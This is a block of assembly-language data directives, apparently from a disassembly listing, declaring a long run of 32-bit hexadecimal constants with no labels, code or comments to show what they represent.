dd 12DE0533h, 5FA5A411h, 2A246020h, 643FBC2Ah, 2A7BD06Fh
dd 672128B3h, 1A2D38B7h, 3E0DB8B6h, 4F338B3Eh, 212DAF4Fh
dd 150A874h, 0C17E672Eh, 0D2D10C56h, 3044442Ch, 0F66AB330h
dd 39FF31BDh, 33B75B3Fh, 1D0EC06Fh, 0E7051EA3h, 202324C1h
dd 9523E616h, 652F7338h, 792A022Fh, 381776BAh, 0B8363940h
dd 32B03111h, 176EB563h, 1D1894FCh, 4382A0C0h, 2C272521h
dd 4B3A3B2Bh, 2F2D2D53h, 0E324E131h, 4462336h, 3B3B3C38h
dd 823EBD3Dh, 6397B3B3h, 229F31D6h, 27252CD7h, 0A300380Ch
dd 2A2CDC2Ah, 0D9BBB872h, 273DFD2Fh, 3B0BD0A8h, 3E3F5C73h
dd 0DAD81C3Fh, 0C9000F58h, 527637EFh, 34D021B6h, 0AEAC967Ch
dd 45905A8Ah, 306145D0h
dd 2D76BA9Eh, 2E6070DAh, 1D4E2F13h, 2F0BA142h, 2B232D21h
dd 7F309525h, 4D2725A9h, 3FD0503Dh, 38C3E2B5h, 7C3839E5h
dd 0E929FCBDh, 7369BA32h, 1DD4BDDCh, 63D41221h, 409E57Dh
dd 144AE969h, 0AD6EA639h, 3FCD61E0h, 35960521h, 4E459039h
dd 3CB68339h, 1BBF1F1Bh, 824935E0h, 28452921h, 2BA06B2Ah
dd 0A52F5974h, 0DC6F26E9h, 65353961h, 6D35D056h, 3F1534BEh
dd 291BDB3Ah, 0A80C1B5Eh, 20380776h, 0E94E23A2h, 61A40529h
dd 31352D06h, 3AF53031h, 3E4CF7B3h, 0C2691369h, 4F167FEEh
dd 0ABCF3B5Bh, 3C62D337h, 8B0B2BE5h, 0D9A0E43Bh, 0B33F4E3Ch
dd 273136F5h, 1BE6BDCFh, 7C073D79h, 10167CAFh, 594409F1h
dd 61866065h, 0F8ADEE0Dh, 1EE58D6Ch, 8DE689E8h, 61546124h
dd 0DE334595h, 1A93DABCh, 0DDFF261Ch, 963D3C1Eh, 0E2EA23CFh
dd 0CF06F73Ah, 0E2F7A45h, 3A8E35EBh, 91C92793h, 15C93CDCh
dd 396839EEh, 0F059D469h, 0AC9C09B9h, 0C9007F7Dh, 0B43B5320h
dd 0C1344F24h, 0A62EBA29h, 25D03E4Fh, 3E2428BEh, 29231427h
dd 2E37AA31h, 1CAD4034h, 0B5941C1Dh, 4E20229Eh, 0A5262625h
dd 28B70EA5h, 582D2E2Dh, 34733331h, 4CBE6737h, 0FB731E39h
dd 1A7B1A79h, 0E01D0D1Ch, 4322A135h, 270271A9h, 0C37C7B18h
dd 2D2EE9ECh, 158A3135h, 0B3BB1034h, 3B3B011Ch, 3B543F3Ch
dd 0CDE24A4Bh, 6A5AB0Fh, 3292414h, 292928D8h, 0AD425863h
dd 24532C7h, 0BA377C21h, 3A493040h, 364B3EBBh, 4D4E2B14h
dd 35044B05h, 552C2352h, 0DE282B26h, 0AEF4DCF0h, 1312FF4h
dd 3524F169h, 393E25F6h, 1CE76D69h, 8131B16h, 283D4B8Ch
dd 542BE3F9h, 0C3F4CE25h, 38230868h, 311E608Ch, 12C23A1Dh
dd 57B75E19h, 55BC9B7Ch, 33570F1Dh, 2F312E21h, 533DC90Ch
dd 3B17150Eh, 0C37A2B39h, 2FFE3C7Eh, 32F41558h, 0B436D537h
dd 8A12FFFCh, 27D66B3Dh, 1FA5399Bh, 1221C819h, 773924A3h
dd 2BC594CFh, 0AA29011Ah, 0DBBA44EFh, 40546365h, 2EBF38DFh
dd 7BB7C3C4h, 0C69C2828h, 0BDA9DC24h, 21C4B306h, 0A7AC2826h
dd 8D2E2B39h, 0D39A2FBAh, 8BF3232h, 3BB8EF92h, 32FF013Bh
dd 1E7B44BAh, 5A951Dh, 2A56E11Ah, 345A66A6h, 1739552Ch
dd 8F2E2CADh, 75823901h, 69132770h, 6CC21134h, 90C81EB6h
dd 6DE496C5h, 23E9AA30h, 25CFE46Bh, 0E0A18CDBh, 2FAE452Ch
dd 30D3B233h, 6735355Eh, 9FC93852h, 0D73800B7h, 1B0D17FBh
dd 21214827h, 6ED525A3h, 0D4AAD8ACh, 2F2D58D4h, 33317468h
dd 36CADD33h, 1E75B334h, 6AB03C2Bh, 4F4D0F1Bh, 6520924Dh
dd 14E1306h, 2DD77176h, 72D773Fh, 25CFACD6h, 0CA0D2346h
dd 35387323h, 7DB16C6Ah, 746B1B72h, 151F58CDh, 31DC6270h
dd 2925FDD5h, 435F1E29h, 10434F59h, 5AB75742h, 111DF451h
dd 3C493639h, 2E0EB628h, 331DCF2Ch, 5BC22220h, 142326C1h
dd 1819295Bh, 2FDD2B29h, 5C18373Eh, 96522EE4h, 324B150Fh
dd 6A7E1D06h, 574F5948h, 6C21A15Bh, 467D6D2Fh, 16D18A27h
dd 1381117Fh, 0CDF0EA6h, 9710B1Ah, 59B074Ch, 3CFD3F3Bh
dd 1D8C1A3Fh, 5D102E1Dh, 44149012h, 9E19BB17h, 0A01DE11Bh
dd 6102E71Ch, 0EE07A601h, 0C00BD505h, 93D3B09h, 285C0B30h
dd 14702A4Bh, 131016E4h, 18271150h, 1CDB1AC5h, 30D31ED9h
dd 5323201h, 93B0731h, 280A2A39h, 3B0E220Ch, 2E3A1D2Dh
dd 1212100Ch, 1B261410h, 6F1B6919h, 2F1F611Dh, 2660060h
dd 6560468h, 570B5D38h, 4B0F4D0Dh, 2F611C2Ah, 13A5119Fh
dd 1F5715AFh, 1052127Eh, 148916B0h, 9B70B7Eh, 0D9B0F90h
dd 63D03DEh, 20A001Bh, 2163275Fh, 1C3F220Bh, 18C71E0Bh
dd 173C1925h, 13E01579h, 0E1F103Dh, 37B43032h, 39943636h
dd 8D0CAF39h, 3B2A340Eh, 0ED2E9D2Ch, 0D5E55410h, 20D84C20h
dd 0CCA15241h, 308E4AE2h, 50631235h, 183713BCh, 3C6E1ABAh
dd 271B52B6h, 9CE82E4Ah, 0AA23DC28h, 53AF7B24h, 56AE250Ch
dd 17526D09h, 735DB158h, 67618B1h, 0BB76D9ACh, 0CDE60E2h
dd 9719783Bh, 22208012h, 52E5A1A7h, 3AD1AB2Eh, 0E2A82323h
dd 0BF07A82Fh, 6105244Dh, 382C0CDFh, 300F3C01h, 79091BC0h
dd 0AA211DC4h, 7A242222h, 9ECA478h, 6D22A0E9h, 3FB96E79h
dd 75233CDAh, 91C374Ah, 251877B7h, 481BB26Fh, 11D0E39h
dd 26136922h, 681727C5h, 0AC0CC149h, 11243F2Dh, 0C531EB36h
dd 28433664h, 49373503h, 0AD3C2A31h, 429B121Dh, 0DCDDA9DFh
dd 0CF2BC47Fh, 334845B3h, 0E715610Ch, 23613642h, 66738DFh
dd 0D6D22D36h, 0EB5A4DCh, 3EAD6845h, 4DA148B7h, 32DAA30h
dd 1758AAA0h, 0C6291E42h, 62333057h, 93B43483h, 2009BB52h
dd 6E753E5Bh, 0BD85F36Eh, 3BE0CA5Bh, 65213372h, 0C9F8E106h
dd 65C8783Bh, 21A0C732h, 0F5FD0031h, 0B3082B37h, 1D080F76h
dd 0FC1A7F3Bh, 35F40A42h, 5EFDCB7Dh, 1D809EE5h, 0B3CA26C9h
dd 56450E8Ah, 0DC3F3A05h, 0C76C77FBh, 9DE7AE2Ch, 5FB6AC5Eh
dd 38BB6938h, 210041D5h, 0A427C5AFh, 0EE11D6E5h, 0A8AA3923h
dd 133046D0h, 335C4D62h, 0A33C393Dh, 0ED003B3Ch, 20CA221Bh
dd 1CCB1EFEh, 0DF1B24CCh, 21162C19h, 11296914h, 62368071h
dd 36B53633h, 0A773B37h, 0EFD0C83h, 422D1B26h, 8F11902Fh
dd 1424D613h, 1B63153Fh, 3DA81970h, 0DD02E71Ch, 6053B02h
dd 0BB0B3775h, 68859209h, 9196172Ah, 3B66DFE9h, 0AE2EE0h
dd 2AA7D98Fh, 7829A839h, 0B22A2CACh, 0B55FB833h, 41F7CC37h
dd 0BD07B7B4h, 9AD0BC3Fh, 0F69A501Eh, 27A34751h, 23A7297Eh
dd 0A92D6BF4h, 0AB2FFC2Eh, 33C213B5h, 96DE6521h, 3A0724B8h
dd 2A403C13h, 9D08974Fh, 9A5E234h, 0AB0EA671h, 3A0D6C27h
dd 787D2841h, 32E472D0h, 42F5B135h, 0D2133D2Eh, 1ABC533Dh
dd 0F4A1463Dh, 0A1DFE05Ah, 0AF2AA9DDh, 29340372h, 0E7166F71h
dd 0A53F732Eh, 0A569B2F2h, 0C83E25h, 3156FFB9h, 4D2F3A6Eh
dd 254D3418h, 0B6A926D1h, 402287B3h, 7D2E7BE5h, 262A7A7Fh
dd 94366292h, 3DA62639h, 0ED9ED369h, 65B23B5Dh, 0EB119D66h
dd 207462C0h, 24269DB4h, 14964178h, 2F2F2D68h, 0F68B6361h
dd 0AF5ED4A8h, 0FF5A0B19h, 0B7F0C5Ch, 3E093897h, 2E89801Ch
dd 144F0472h, 0C88BC075h, 0CEDA3478h, 0C5F12BF7h, 0A933F1EBh
dd 72157C25h, 0BE291847h, 1CB8731Fh, 782EF712h, 0AF612A60h
dd 66A55DC7h, 7D2CA662h, 45E2AAD1h, 87FCB93Fh, 850DBC32h
dd 3DC3897Ah, 16A2A6E8h, 0D9E81D1Dh, 0C05A5120h, 0D7D8D873h
dd 2C9379FFh, 302597B4h, 0B9CAC532h, 2C137A35h, 6AEBD26Bh
dd 0E4C016C3h, 0A38E17CAh, 57A96920h, 0AA720134h, 0A01E297Ch
dd 1A2EC5E2h, 6A30CF6Ah, 3B82974h, 0FEE0DF3h, 0D0B103Ch
dd 2BDF2Eh, 0F2732228h, 49124116h, 0AA1EA310h, 19E81B8Dh
dd 42AE07E3h, 0EF33406h, 3B00101h, 0E43D05EAh, 0CB260B06h
dd 411B6E24h, 19071854h, 180E3756h, 102C184Ah, 2E301260h
dd 352BCC32h, 39273729h, 3D233B25h, 1C043F21h, 3FE01E02h
dd 3B233D21h, 27272925h, 232B2529h, 0CF2F212Dh, 343C323Eh
dd 3838363Ah, 3C343A36h, 1B303E32h, 101E12E3h, 2C222E20h
dd 28262A24h, 242A2628h, 1055D22Ch, 2338043Ah, 37463F00h
dd 3B353327h, 373E94F0h, 28ED1A90h, 0E6704015h, 0B62C2D93h
dd 2B6FEF2Eh, 2A2D2A31h, 0A5202771h, 3588343Bh, 6C349966h
dd 3A3D7FB0h, 1DE3E402h
dd 2127631Ch, 0E5167E7Ch, 1AEB7E7Dh, 2E55E22Ah, 59645B3Eh
dd 0E357340h, 3D38F7B5h, 0B838F8B9h, 1CC04BC8h, 0F76BE198h
dd 0DE20D022h, 3ACF7165h, 0EC5F2929h, 55AF003Bh, 19135749h
dd 2435165Ch, 563A3A39h, 0CD73F3Dh, 6A1D1D1Ch, 22CAE221h
dd 86A72124h, 19A12E29h, 4F70EB17h, 0B9F3A53Fh, 3A2F3EF5h
dd 0FB7F6A34h, 50FE6A1Fh, 9F9DF40Fh, 7511D889h, 249649CBh
dd 0A17A6885h, 797D2CE5h, 0CC8F47C7h, 0F63063CCh, 3FB96F90h
dd 0D625B56Ch, 1A9D7A70h, 66C84826h, 976422E3h, 0F8282403h
dd 2F7E292Ah, 505F2F62h, 575D7F56h, 0BB795644h, 6A3F9F2Dh
dd 7418564Ch, 0F51E1A1Dh, 41773520h, 775648h, 2C435E48h
dd 37AE5F23h, 4773537Dh, 4A457341h, 4FBC3A56h, 7438BC1Ch
dd 1D727C7Fh, 23572362h, 27366826h, 99A8C12Ch, 0E826C51Fh
dd 0C3D20936h, 71F13536h, 0FD3E3929h, 3F1E96BAh, 40DB971Fh
dd 0E6A2753Dh, 0B6E6345Bh, 2C562823h, 280D2C20h, 0C51730C7h
dd 72C3CBCDh, 3BB93013h, 0D66B354Fh, 0C00F55C2h, 0E324DF7Fh
dd 35C52326h, 0CC8DE2Dh, 0E21F27D0h, 35740E2Fh, 3DB0BE12h
dd 0DC003B36h, 0FCF4B0C7h, 0DD0CBFDFh, 0E81417F5h, 744102AAh
dd 0E914E926h, 6C076D6Bh, 0DA276A39h, 2073968Fh, 0DBF62ADDh
dd 2B9B3EBBh, 28FE3DE2h, 1D0DD9C5h, 2126E118h, 0A8295A1Eh
dd 0B29F42Dh, 7D8D9C65h, 4750015Fh, 5A36455Bh, 2B315DD5h
dd 3DA93B53h, 941F8F4Fh, 21262F8Ch, 2126232Ch, 584A4D74h
dd 0E4D584Eh, 42505578h, 6AB40893h, 736EC060h, 51500972h
dd 0BD1EE738h, 1623EEBCh, 0A45E2022h, 29201F25h, 2EADA329h
dd 0A7332F17h, 0F37B213h, 0F89C3436h, 93C003Bh, 1DDB8D3Dh
dd 0A0631F24h, 4D2ACA51h, 8E875A21h, 2C805629h, 86532F2Ch
dd 3432F30Ah, 39F7F749h, 4B3BBCBBh, 5FAA340Dh, 3AE1ED16h
dd 0C721E3C8h, 67772276h, 3B2B2915h, 7E0E2F2Ch, 27406138h
dd 37F4DCB5h, 0BE3A6B15h, 3E9D3C3Eh, 0D636F068h, 0A721E494h
dd 0ADC4AF22h, 8269A32Fh, 0BEEE7C2Fh, 3623D025h, 9C3566EFh
dd 0EE396AEFh, 6CED3C69h, 348D73Fh, 0C6F1CAEh, 0D48F532Fh
dd 212B976Eh, 0C33BDB7Bh, 6D5057A8h, 0BD6B0871h, 3AD83AA0h
dd 0EA2BFBC5h, 134CB03Ch, 2F1F111Dh, 84232D21h, 0A3230660h
dd 3DBAA339h, 303FA526h, 3BCCC8B2h, 0B9BFF6A0h, 48235BB6h
dd 4F333122h, 944C3538h, 0ECE0C9EEh, 63E12E64h, 215A250Ch
dd 7CC2E7Ch, 0DB303264h, 0A6356527h, 133B3D3Fh, 3C3CD53Dh
dd 1F1E0C1Ah, 0D365C81Ch, 0AA2D24F8h, 39C84403h, 70726CEDh
dd 3FB85472h, 0CFF120D3h, 0AAFA38C6h, 2B312B94h, 1D1A5B0Bh
dd 493A6A24h, 2503AF32h, 26293606h, 0AD306EA1h, 0B8706F3Eh
dd 5ADD2F77h, 0A1FE2776h, 0FD3D2E7Fh, 2F0C3D00h, 8A17DEDDh
dd 702B0215h, 481F26C5h, 2CCB1EE6h, 0B07E12B9h, 77B37631h
dd 2A776667h, 0BF605A5Bh, 1FFD4AF9h, 0A0E11C1Ch, 2C222E54h
dd 28262A24h, 242A2628h, 0D02E222Ch, 333D313Fh, 3739353Bh
dd 3B353937h, 3F313D33h, 111D13E4h, 2D212F1Fh, 29252B23h
dd 25292727h, 2E22AD2Bh, 27BA61E3h, 10654EAEh, 0C5066E17h
dd 0FE3E3C04h, 751D1B3Eh, 112C1C1Eh, 1573136Dh, 19DF179Bh
dd 1C2A1BD7h, 191E0Fh, 4420206h, 889064Ah, 0F5B0A8Ch, 2E6D0D53h
dd 12862C8Ch, 16C51085h, 1B0F14C9h, 1FDB198Ah, 4A61A12h
dd 12E06E3h, 0B632035Bh, 0AC163F18h, 13C7772Ch, 0FE05C2EBh
dd 0FCD51139h, 7616014Eh, 0FED50C88h, 0F41C3CFCh, 4DCDB478h
dd 2F427F64h, 0BB0A30D8h, 0F96C0D56h, 8C651D1Bh, 0E1DF201Eh
dd 1DEE9A2Ch, 0CE4754E8h, 3CDC39BBh, 0D3DA522Fh, 37778406h
dd 0F3879F7h, 0E6973D79h, 1A361A7Eh, 2067001Ah, 17284236h
dd 0E52445A6h, 0EC20589Ch, 7450C142h, 0D7D25EF1h, 0E7D1EB36h
dd 87843BDAh, 8A1DFDE6h, 0A0FD18D3h, 0C0952425h, 0CC890C25h
dd 242F8C29h, 28272FB3h, 0B4D7F725h, 93C4C237h, 0FD2F2379h
dd 593C3E75h, 2D0F1DC5h, 4B746304h, 0E61CA77Ch, 0E2B298Dh
dd 0ED0A796Eh, 3B224520h, 0BBCCDCF0h, 0FF3B3A38h, 0B42E337Ch
dd 0DE195D36h, 26A5E64Eh, 942425CBh, 0A7E93D63h, 467F4575h
dd 23F1F163h, 7EDD357Fh, 0CA2A7868h, 5B5D0D23h, 0DD27F373h
dd 653AFF1Eh, 7AE2A3A9h, 0A04C7C78h, 0D1324B27h, 68296BEAh
dd 353B035Dh, 39373739h, 32333B35h, 131B303Eh, 0E227761Dh
dd 35DCDC4Bh, 0C0321DF7h, 0EB03CAAAh, 0B10BEA2Bh, 75DA2E31h
dd 6C56CE35h, 3CBA963Bh, 1A1A349Eh, 1E382D6Eh, 2E2741D8h
dd 260425A5h, 2A0F8E48h, 2E1B2D8Ch, 32066ED4h, 3436B4A8h
dd 3A19226Bh, 3D3E8A48h, 5A42249Bh, 28A1211Fh, 0E65244Ch
dd 2A2BB826h, 5A2CAC29h, 0F20E4A2Dh, 5C213133h, 29387A21h
dd 0B3343F7Bh, 95389BABh, 324A1C1Eh, 73FA370h, 0E3F67F2h
dd 0DEE20C2h, 0F9BAA44Ah, 75443772h, 11D01F32h, 12C2272h
dd 9C8DD76Eh, 0CC99931Eh, 26232D61h, 2877E8AEh, 0E5AEA620h
dd 0BBAB3859h, 0B1325324h, 983B42E7h, 0B6333A2Dh, 9F341A79h
dd 143A69DCh, 0A264317Fh, 0E42164E0h, 8ABE0FA3h, 97295D01h
dd 832D1ECh, 304825E4h, 3A2EBDB1h, 37B5686Fh, 0BC0138B7h
dd 23DCA31Fh, 9B20A05Eh, 6AE9EC07h, 71D2D18Eh, 0F716D71h
dd 326E4613h, 6EFA10ACh, 153D03BFh, 0F11C9A3Fh, 23201C26h
dd 2700A7A9h, 7C29A71Ah, 2D2D957Ch, 0A530082Dh, 0A7B0A073h
dd 0A3B8F705h, 3D355D36h, 1C19330Dh, 466B6BB9h, 406E86AAh
dd 273922A5h, 0EF8CA697h, 0F9322E3Eh, 7483D922h, 3C358256h
dd 2DBB3E57h, 5D3549BCh, 18515EB0h, 2323BA66h, 0B7A0AF20h
dd 0EBAE2A28h, 0A1AB222Ch, 5DBF3230h, 0FABD0551h, 5BBA78D0h
dd 576E4EFCh, 1E23E877h, 0EC45E029h, 266558A3h, 0EADA325h
dd 7B2D4C5Fh, 0BB66666Fh, 0E6451077h, 0EA38BC37h, 80C20F3Bh
dd 261F1B3Eh, 5DA9D81Eh, 3F502F06h, 6BBC25ABh, 960A62Bh
dd 31F2AC5Ah, 7335BA36h, 0B23CF6B5h, 0FA07391Ah, 1D3BCE4Bh
dd 5C1F970Dh, 3C075295h, 10037AADh, 3B2B80C1h, 5A78D1D2h
dd 342E5814h, 74BA155Fh, 1951121Dh, 3DD76F3Dh, 9CE1E203h
dd 0A83A21E4h, 362E3ECh, 0C32A3710h, 0D0D1306Ah, 0B30E5960h
dd 36367145h, 3A1860D0h, 3F362B54h, 73E91FBFh, 8A135A1Dh
dd 84161670h, 7CC03C23h, 0AE2E1C7Ch, 1E998C27h, 0BD0F5488h
dd 971B35E1h, 0AF3434EFh, 1B7CFE32h, 74FA24CEh, 0C48828F5h
dd 0A02B6336h, 819E2868h, 3B336B9Bh, 77873073h, 9132A735h
dd 0E90F445Bh, 0CC0BCC3Ah, 20263D16h, 1DA71B5Dh, 11B31FA9h
dd 8812B629h, 84168214h, 0D8F9208h, 38C30FEDh, 9D5B3E74h
dd 7052AB5h, 2532BC3Ch, 0AB82C114h, 876A1F60h, 4F107588h
dd 5B068D4Ch, 93124D0Ah, 0AB9615B8h, 19EB902h, 58A0790h
dd 0CA8DFCA7h, 4D20BF66h, 12454303h, 0BB2A1724h, 31585D2Ah
dd 46583097h, 160B0A13h, 5B395455h, 4A454815h, 1D3A3D1Fh
dd 5154793Eh, 405C460Ch, 470507A6h, 175F060Ah, 1430EF26h
dd 353E1141h, 39D9E307h, 13393B79h, 0BA7B7E01h, 0C84E2F6Ch
dd 272D223Eh, 6A7E1565h, 948128F2h, 0B3E3E22Dh, 0BF6512DDh
dd 10133641h, 0FB6CCCBCh, 133F1A79h, 9B11191Ch, 232121D0h
dd 0E7A323AFh, 2BCCAD27h, 0D7AD2E2Ch, 652844CFh, 175735DCh
dd 0FFB9C6C5h, 3CBEB438h, 4042CB30h, 2143E21Ch, 0CD2B72FEh
dd 247BA8C7h
dd 0CF25280Bh, 0AA1CD07Ch, 367DDC3Fh, 0F414D924h, 4910DD44h
dd 26A812DFh, 0A18B155Ch, 0C73C9026h, 89293758h, 2559DA53h
dd 0F1037171h, 7322F073h, 0C125BC3Fh, 3F3E209Ah, 14303F35h
dd 2B0ADB7Ah, 0CC34AA2Ah, 2A316614h, 0D35BA9BFh, 34235BD2h
dd 0F02E3006h, 0C737B339h, 0FAD2264Ch, 42C0C1C3h, 1A288450h
dd 37A6B862h, 7AA5247Ah, 0A9C7EA2Eh, 0C3AD2D11h, 0B765673Ch
dd 6DF649BFh, 0F7F36C7h, 3F3131F3h, 0F296BFD1h, 0A9A2601Eh
dd 71732C66h, 1A2BA377h, 7EA67C1Bh, 0CE44B927h, 0C278BD33h
dd 0C5C16DBEh, 34CCFF2Eh, 4D4A0B2Dh, 528023F6h, 5356F22h
dd 15EEA43Ch, 0C57A304Ah, 0E163ADE5h, 0B6C84E94h, 275F23F2h
dd 7E2B7C77h, 0DFB7DF1h, 31FA751Ch, 4946A272h, 474F5644h
dd 6E474B5Bh, 5C07AEEEh, 0B3405354h, 3ABB3637h, 7D3CDB62h
dd 7F507DBBh, 7CD82BDAh, 0AD003361h, 46422724h, 5C3C2829h
dd 3F2F148Ch, 72575538h, 0B7CB3437h, 3B2EB905h, 3F24BD3Dh
dd 9FBD1E10h, 0E1B52F0Ah, 66A3B8CBh, 0F1ADD7DAh, 5A8605Fh
dd 761578A3h, 371EB432h, 0D2123B66h, 193D3935h, 59D3F3Dh
dd 0AD0CF70Fh, 75DBDE22h, 0F22032D9h, 0AE2D7B28h, 20B02BEAh
dd 0B638B372h, 394C36CDh, 48E7BE3Eh, 62966850h, 0C848323Dh
dd 33AF1250h, 2067AF11h, 0A51B6CA2h, 0B382F73h, 0B537D23Ah
dd 2FA96522h, 22FFD26Eh, 0D528BCB4h, 48099F37h, 22C295C8h
dd 7C57619Dh, 0F4A90DEBh, 0A2010339h, 42095130h, 460BEE09h
dd 4B04CB06h, 3F01F403h, 1E1FEC1Ah, 2121AC1Eh, 173C1405h
dd 1BF01912h, 1C5A1DDEh, 1B20355h, 582079Bh, 9F60B88h
dd 0A9C0FD6h, 28382FEFh, 14422A2Ch, 10A21648h, 1CB612AAh
dd 18F51E8Eh, 0EA32190Ch, 785B5E2h, 2050679Eh, 879F3982h
dd 1EAF543Ch, 22AF8C97h, 740552F9h, 2A9F8D4Dh, 2E91502Bh
dd 30996E6Fh, 0BFCCCDB8h, 0C7F6B73Dh, 3E3B3B39h, 0E4B391D5h
dd 774E1DE3h, 236655EFh, 1229C25h, 0C30229A5h, 76FA77Dh
dd 333D2DCFh, 5996353Ah, 0D36038D8h, 2317F217h, 9C1D35DAh
dd 0A9C90CEEh, 3F952D03h, 0AB7EA82Bh, 2F4C6BEFh, 201438AEh
dd 26A6B13Ch, 3CBB5236h, 0C6BE6C9Ch, 0AC9A92C0h, 34551B39h
dd 54F52D72h, 5177D8D8h, 7501974h, 0C1B41452h, 0E74A77Ch
dd 29C0CAAh, 81602B96h, 8EDF047Ah, 3824C236h, 616B5981h
dd 85F5CC5h, 8817B653h, 249B055Dh, 4D938E0Dh, 0C44E16D9h
dd 0CC8A3E05h, 33022A45h, 346E3663h, 7608FE88h, 156E0FFCh
dd 7C0AA902h, 2E2E2D44h, 0BE303131h, 33607143h, 2B3A1FD0h
dd 0BC32F9BFh, 6BE21CE3h, 76AD4807h, 27252467h, 0F0453DD8h
dd 2EAE2D29h, 0F20234EBh, 6D686A6Ch, 32FDBB37h, 0FBB99DF8h
dd 961D0B3Dh, 36219F03h, 2D5A22DAh, 0C1298632h, 0EA222B21h
dd 0CEB6252Eh, 23343332h, 1FC2DF22h, 493C0738h, 0AC466161h
dd 207B451Ch, 20232FA8h, 0EA57E2A6h, 2D2B2E79h, 0FC2F27BDh
dd 345932DDh, 0B7CF5ECAh, 583A3A7Ah, 1F3F9FBDh, 3A97794Ch
dd 0CF62ABA0h, 2010766Ch, 2B64606Ah, 2F7D687Eh, 585C4432h
dd 40595B34h, 723F3956h, 585FBD51h, 6A7C4C7Eh, 22AEA077h
dd 6371777Ah, 5F6A746Ah, 8E5F5E27h, 462AF036h, 6595B41h
dd 664D5D64h, 6A6C7AEEh, 78984837h, 715F8E5Ah, 0F3244A50h
dd 0D928A67Eh, 2D584838h, 91305E45h, 45479D05h, 493E5536h
dd 3B59CB1Eh, 0B61D5E9Eh, 961F5FB6h, 0A1E221D4h, 28A6EA25h
dd 0FB3F8A9Ch, 0B1CD2F28h, 0D90EF231h, 0C0913641h, 1FB3A48h
dd 193BBD3Eh, 4A1E9C12h, 0A3BF1CF0h, 0E6BFF957h, 29EB1F2Ah
dd 0E61DA999h, 72563572h, 8E02B630h, 0A9983D3Ah, 0D73C3939h
dd 0DE191EB2h, 21F9241Ah, 2225BDCBh, 7BA905E4h, 2D704D77h
dd 18F13022h, 0C89556DBh, 3C85FFC8h, 0B829B86Bh, 1C08082Dh
dd 7E242D12h, 0D5A16FAFh, 2E2069D2h, 6BDCE10Bh, 0BA2435FEh
dd 34E718E2h, 0EE033466h, 11B17449h, 181B3F83h, 71341290h
dd 0A42A7171h, 5B42C920h, 550F7E2Fh, 0BB332E95h, 0FF1860F9h
dd 3A37CFF4h, 0F2B0C312h, 1BD76E6Ah, 4F4C6B62h, 0A2F54FC8h
dd 20623503h, 26C27898h, 2B6EEFFFh, 15325916h, 37D3DC84h
dd 0FB1F3D3Bh, 17FF5502h, 5A209C34h, 226F200Ah, 3224DC26h
dd 0EBC86823h, 1EA8204Bh, 721D316Bh, 0EE215437h, 1A3A3887h
dd 2C29FC3Fh, 0B71E08DFh, 0DD229D8Eh, 0A7A121A3h, 2BA9EB24h
dd 2FAE5180h, 5E32AEB2h, 0B4B031B0h, 0BB5C9D34h, 3FBDDF38h
dd 3019BD67h, 6EB50D1Ch, 0A57F20A3h, 2AA56527h, 8629AB5Dh
dd 5C2DAC15h, 0B61E38F0h, 3D767237h, 3EB91893h, 1C639F89h
dd 193C0A51h, 6E3D6C3Fh, 74E6823h, 6624EDC0h, 21316D2Fh
dd 0DCC4FA7Dh, 7A30782Bh, 249799AFh, 20732271h, 5308A156h
dd 3D9CC13Fh, 16683B6Eh, 769202Bh, 7F7D28CBh, 3E51CEC7h
dd 17B119F2h, 69E86D76h, 0C9D26B6Dh, 16DE38EFh, 21741FDBh
dd 0A8E12012h, 0EF0226AAh, 0A66BAC2Ah, 25D8EEEFh, 39D533F3h
dd 0FE3BF63Dh, 0B63CF3B1h, 3FCAC8D6h, 24F03DD6h, 23EF2Ah
dd 0A3EA2511h, 0B8A62AC1h, 693D27h, 0FE33B999h, 0F938DFF4h
dd 0B73B2BDBh, 4DB45E73h, 1F609040h, 7173711Bh, 79ABEAAFh
dd 45A73868h, 1FC4C50Ah, 0B822617Ch, 46D4DDFFh, 752E5138h
dd 0CE186D1Bh, 94312C55h, 72717091h, 36A326A9h, 42787877h
dd 33CCB0EEh, 0C21123DFh, 0D6FD9415h, 2E092819h, 1C2BD434h
dd 998DE3Bh, 5C8130Eh, 0AC2124E0h, 5DC03632h, 0C0CEB61h
dd 0BCD43D2Fh, 2756E7DAh, 3D1DA6C9h, 9FDCD329h, 18230E28h
dd 0C80B4E1Fh, 2622838Bh, 3D252367h, 2E8FC20Dh, 3416032Fh
dd 0BEDB2433h, 0D9AA5470h, 0D7003B39h, 3F3F52B4h, 9C1B690Ch
dd 2957DEDDh, 1FBF2563h, 0D47A86A9h, 2FAD6D39h, 0BA231B2h
dd 9723CA65h, 343A3C38h, 0B4347583h, 1C96104Bh, 327CA0DEh
dd 0CFE416A8h, 8FDA2825h, 0CFAEE4A0h, 9635C32Ch, 9F73B4B8h
dd 0B172E6F8h, 0D5FC7CE1h, 16FEDA2Ah, 61F842FEh, 0F417F0A9h
dd 512AF715h, 9667234Ah, 2114AED8h, 3424D4F3h, 3AC30996h
dd 0B6C608E9h, 0F42837D1h, 0AD4C3E1Eh, 4530B8Dh, 0A3999999h
dd 0C125CBE4h, 5AAD6F24h, 34C23161h, 933636D0h, 6A696FCBh
dd 0D334CE6h, 6D2F5CCEh, 0A16E731Dh, 760DA27Ah, 1C1B6B28h
dd 0EE747BD1h, 50504351h, 45C80606h, 387050AFh, 8DCA3D6Dh
dd 3E2EA354h, 0A308FA1Dh, 0D7CA6148h, 3C0BC827h, 0DC66A930h
dd 0F2B44233h, 0BD3E3447h, 68291C63h, 67F29C4h, 154AAB3Eh
dd 91205B93h, 9526A2AEh, 0D6CAC76h, 752F7A3Eh, 30607D2Ah
dd 0BE08466Ah, 0B2B8CB60h, 2BC81F86h, 541F3D3Eh, 484D4F1Dh
dd 24671F7Dh, 67AA2624h, 0E4D8C240h, 262FD1D1h, 4C3FF274h
dd 0D3663E34h, 142B3A34h, 0DA3DBE6Eh, 1D4E4F1Dh, 4231107h
dd 7B02F9A0h, 1F8B0ECBh, 0EDA2A88Dh, 303D52Eh, 2112B1BDh
dd 135B7EFBh, 8316D1BDh, 1A1D1F1Bh, 0AB2360A1h, 0E401809Fh
dd 49028E7h, 0CA7C20ABh, 3B311E2Ch, 457524F2h, 4F567E17h
dd 5A4EFD55h, 41191BDFh, 20851C1Eh, 57045820h, 29027B26h
dd 5549772Eh, 5E5CCF5Eh, 37465640h, 19B4577Fh, 0DC1C2966h
dd 0FD781AB0h, 4F6D4E92h, 57464121h, 66151556h, 2C633A4Ch
dd 742FFE20h, 0C133721h, 1946DE67h, 7D37BB3Ch, 79D73A3Eh
dd 4F13CD84h, 3AF00981h, 88B38C1h, 3DCA3C38h, 294E28A8h
dd 0DA31E1F8h, 31866E1Ah
